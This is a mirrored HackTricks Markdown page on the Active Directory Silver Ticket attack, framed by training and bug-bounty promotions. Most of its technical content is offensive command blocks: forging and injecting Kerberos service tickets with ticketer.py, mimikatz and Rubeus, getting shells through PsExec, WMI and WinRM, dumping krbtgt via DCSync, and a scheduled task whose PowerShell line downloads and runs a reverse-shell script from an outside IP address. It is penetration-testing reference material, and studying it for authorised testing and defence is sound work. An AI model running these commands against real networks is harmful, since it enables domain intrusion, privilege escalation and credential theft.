mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-20 01:55:46 +00:00
190 lines
9 KiB
Markdown
190 lines
9 KiB
Markdown
|
# Silver Ticket
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|
||
|
|
||
|
<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
|
||
|
|
||
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||
|
|
||
|
## Silver ticket
|
||
|
|
||
|
The **Silver Ticket** attack involves the exploitation of service tickets in Active Directory (AD) environments. This method relies on **acquiring the NTLM hash of a service account**, such as a computer account, to forge a Ticket Granting Service (TGS) ticket. With this forged ticket, an attacker can access specific services on the network, **impersonating any user**, typically aiming for administrative privileges. It's emphasized that using AES keys for forging tickets is more secure and less detectable.
|
||
|
|
||
|
For ticket crafting, different tools are employed based on the operating system:
|
||
|
|
||
|
### On Linux
|
||
|
|
||
|
```bash
|
||
|
python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
|
||
|
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
|
||
|
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
|
||
|
```
|
||
|
|
||
|
### On Windows
|
||
|
|
||
|
```bash
|
||
|
# Create the ticket
|
||
|
mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"
|
||
|
|
||
|
# Inject the ticket
|
||
|
mimikatz.exe "kerberos::ptt <TICKET_FILE>"
|
||
|
.\Rubeus.exe ptt /ticket:<TICKET_FILE>
|
||
|
|
||
|
# Obtain a shell
|
||
|
.\PsExec.exe -accepteula \\<TARGET> cmd
|
||
|
```
|
||
|
|
||
|
The CIFS service is highlighted as a common target for accessing the victim's file system, but other services like HOST and RPCSS can also be exploited for tasks and WMI queries.
|
||
|
|
||
|
## Available Services
|
||
|
|
||
|
| Service Type | Service Silver Tickets |
|
||
|
| ------------------------------------------ | -------------------------------------------------------------------------- |
|
||
|
| WMI | <p>HOST</p><p>RPCSS</p> |
|
||
|
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>Depending on OS also:</p><p>WSMAN</p><p>RPCSS</p> |
|
||
|
| WinRM | <p>HOST</p><p>HTTP</p><p>In some occasions you can just ask for: WINRM</p> |
|
||
|
| Scheduled Tasks | HOST |
|
||
|
| Windows File Share, also psexec | CIFS |
|
||
|
| LDAP operations, included DCSync | LDAP |
|
||
|
| Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
|
||
|
| Golden Tickets | krbtgt |
|
||
|
|
||
|
Using **Rubeus** you may **ask for all** these tickets using the parameter:
|
||
|
|
||
|
* `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
|
||
|
|
||
|
### Silver tickets Event IDs
|
||
|
|
||
|
* 4624: Account Logon
|
||
|
* 4634: Account Logoff
|
||
|
* 4672: Admin Logon
|
||
|
|
||
|
## Abusing Service tickets
|
||
|
|
||
|
In the following examples lets imagine that the ticket is retrieved impersonating the administrator account.
|
||
|
|
||
|
### CIFS
|
||
|
|
||
|
With this ticket you will be able to access the `C$` and `ADMIN$` folder via **SMB** (if they are exposed) and copy files to a part of the remote filesystem just doing something like:
|
||
|
|
||
|
```bash
|
||
|
dir \\vulnerable.computer\C$
|
||
|
dir \\vulnerable.computer\ADMIN$
|
||
|
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
|
||
|
```
|
||
|
|
||
|
You will also be able to obtain a shell inside the host or execute arbitrary commands using **psexec**:
|
||
|
|
||
|
{% content-ref url="../lateral-movement/psexec-and-winexec.md" %}
|
||
|
[psexec-and-winexec.md](../lateral-movement/psexec-and-winexec.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
### HOST
|
||
|
|
||
|
With this permission you can generate scheduled tasks in remote computers and execute arbitrary commands:
|
||
|
|
||
|
```bash
|
||
|
#Check you have permissions to use schtasks over a remote server
|
||
|
schtasks /S some.vuln.pc
|
||
|
#Create scheduled task, first for exe execution, second for powershell reverse shell download
|
||
|
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
|
||
|
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
|
||
|
#Check it was successfully created
|
||
|
schtasks /query /S some.vuln.pc
|
||
|
#Run created schtask now
|
||
|
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
|
||
|
```
|
||
|
|
||
|
### HOST + RPCSS
|
||
|
|
||
|
With these tickets you can **execute WMI in the victim system**:
|
||
|
|
||
|
```bash
|
||
|
#Check you have enough privileges
|
||
|
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
|
||
|
#Execute code
|
||
|
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"
|
||
|
|
||
|
#You can also use wmic
|
||
|
wmic remote.computer.local list full /format:list
|
||
|
```
|
||
|
|
||
|
Find **more information about wmiexec** in the following page:
|
||
|
|
||
|
{% content-ref url="../lateral-movement/wmiexec.md" %}
|
||
|
[wmiexec.md](../lateral-movement/wmiexec.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
### HOST + WSMAN (WINRM)
|
||
|
|
||
|
With winrm access over a computer you can **access it** and even get a PowerShell:
|
||
|
|
||
|
```bash
|
||
|
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
|
||
|
```
|
||
|
|
||
|
Check the following page to learn **more ways to connect with a remote host using winrm**:
|
||
|
|
||
|
{% content-ref url="../lateral-movement/winrm.md" %}
|
||
|
[winrm.md](../lateral-movement/winrm.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
{% hint style="warning" %}
|
||
|
Note that **winrm must be active and listening** on the remote computer to access it.
|
||
|
{% endhint %}
|
||
|
|
||
|
### LDAP
|
||
|
|
||
|
With this privilege you can dump the DC database using **DCSync**:
|
||
|
|
||
|
```
|
||
|
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
|
||
|
```
|
||
|
|
||
|
**Learn more about DCSync** in the following page:
|
||
|
|
||
|
## References
|
||
|
|
||
|
* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
|
||
|
* [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
|
||
|
|
||
|
{% content-ref url="dcsync.md" %}
|
||
|
[dcsync.md](dcsync.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
<figure><img src="../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
|
||
|
|
||
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|